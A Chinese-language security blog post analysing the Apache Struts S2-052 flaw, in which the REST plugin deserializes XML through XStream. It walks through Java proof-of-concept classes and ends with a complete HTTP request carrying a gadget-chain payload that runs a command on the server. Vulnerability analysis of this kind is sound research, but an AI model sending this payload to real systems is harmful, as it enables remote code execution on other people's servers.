struts-052和struts-053分析

前言

漏洞爆发的那几天有事(主要还是懒)没有及时的跟进漏洞,这两天跟一下漏洞。

s2-052

漏洞war包下载
官方通告
在分析这个漏洞之前,先补补基础知识。

了解一下xstream这个包,看一下官方的一句话介绍,XStream is a simple library to serialize objects to XML and back again.就是一个序列化java对象为xml以及将xml反序列化为java对象。

我之前分析过json序列化和反序列化时常用的几种方法,今天我也学习一下xml序列化和反序列化的方法,目前来说有两种,一种是XMLDecoder,另外一种是xstream,xstream使用的比较早的多,然后这次的s2-052就是利用的xstream。


xstream反序列化的问题由来已久,早在四年前,老外就在defcon中讲述了这个问题link,而且之前jenkins的反序列化漏洞也是和xstream有关。


我们可以看到,通过XMLGenerator.generateXML的方法就进行了序列化,而通过XMLGenerator.generateTOfromXML就进行了反序列化。这个XMLGenerator类的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
public final class XMLGenerator {
/*
* this class is for generating XML
*/
/*
* initialization of XStream class
*/
private static XStream xstream = new XStream(new DomDriver())
{{
processAnnotations(Square.class);
processAnnotations(Rectangle.class);
}};
/*
* This class is for generating XML from MODEL class
* @param Object
* @return String
*/
public static String generateXML(Object to) {
return null == to ? "" : xstream.toXML(to);
}
/*
* Generates the transfer object from the given XML using XStream.
*
* @param String
* @return transfer object
*/
public static Object generateTOfromXML(String xml) {
return xstream.fromXML(xml);
}
}

这里就用到了XStream。
现在我们再来看一下这样的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
public class xstreamPOC {
public static void main(String[] args)
{
// String payload = "<square>"+
// " <size>5</size>"+
// "</square> ";
String payload = "<string>"+
" hello"+
"</string> ";
String inputXML = payload;
//Square sq1 = (Square)XMLGenerator.generateTOfromXML(inputXML);
//the next code is what the XMLGenerator.generateTOfromXML is doing:
XStream xstream = new XStream(new DomDriver())
{{
processAnnotations(Square.class);
processAnnotations(Rectangle.class);
}};
Square sq1 = (Square)xstream.fromXML(inputXML);
System.out.println(String.format("sq1: \n \n%s \n\n", sq1));
}
}


从上图可以看到,当我在序列化一个包含有string关键字的xml时候,他会首先产生一个string的类,然后强制转换成Square类。危险就出现在这里了,XStream将创建定义在xml中的对象。

那么如果我们换成下面的payload呢

1
2
3
String payload = "<java.lang.ProcessBuilder>"+
" <command>ExecuteMe</command>"+
"</java.lang.ProcessBuilder>";


可以看到我们就会实例化这个ProcessBuilder这个类。但是呢,目前为止我们还是只能创建对象,并不能invoke它们,所以这个时候就需要动态代理和EventHandle这两个技巧了。
看下面这样的代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.beans.EventHandler;
import java.util.Set;
import java.util.TreeSet;
public class XStreamPoC {
public static void main(String[] args)
{
Set<Comparable> set = new TreeSet<Comparable>();
set.add("foo");
set.add(EventHandler.create(Comparable.class,
new ProcessBuilder("open","/Applications/Calculator.app"), "start"));
String setXml = XMLGenerator.generateXML(set);
/*String payload = "<java.lang.ProcessBuilder>"+
" <command>ExecuteMe</command>"+
"</java.lang.ProcessBuilder>";
String inputXML = payload;
Square sq1 = (Square)XMLGenerator.generateTOfromXML(inputXML);
//Object sq1 = XMLGenerator.generateTOfromXML(inputXML);
System.out.println(String.format("sq1 value: %s \n\nsq1 class: %s", sq1, sq1.getClass()));
*/
}
}


如上图所示,可以看到当转换发生异常的时候,就会执行start的操作。
介于此,我们的payload就可以这么写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.IOException;
public class PoC_XMLGenerator {
public static void main(String[] args) {
// TODO Auto-generated method stub
String process = "open";
String arguments = "/Applications/Calculator.app";
String payload = "<sorted-set>" +
//"<string>foo</string>" +
"<dynamic-proxy>" +
"<interface>java.lang.Comparable</interface>" +
"<handler class=\"java.beans.EventHandler\">" +
" <target class=\"java.lang.ProcessBuilder\">" +
" <command>" +
" <string>" + process + "</string>" +
" <string>" + arguments + "</string>" +
" </command>" +
" </target>" +
" <action>start</action>" +
"</handler>" +
"</dynamic-proxy>" +
"</sorted-set>";
XMLGenerator.generateTOfromXML(payload);
System.out.println("Will not get here");
}
}

至此,XStream的利用点分析完了。下面再来看看struts2中的利用。

通过官方的一句话公告 A RCE attack is possible when using the Struts REST plugin with XStream handler to deserialise XML requests可以看出问题出在struts rest plugin,这个REST插件struts2-rest-plugin.jar用到了XStreamHandler这个类,这个类对http请求中content-type是application/xml的,会调用XStream进行处理。

可以看到,当contenttype为xml的时候的处理类是XStreamHandler。那么我们就可以将恶意代码以xml为载体,通过Content-type为xml的方式,让XStreamHandler去进行序列化,那么这个时候就会触发漏洞。

最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
POST /struts2-rest-showcase/orders/3 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 2430
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>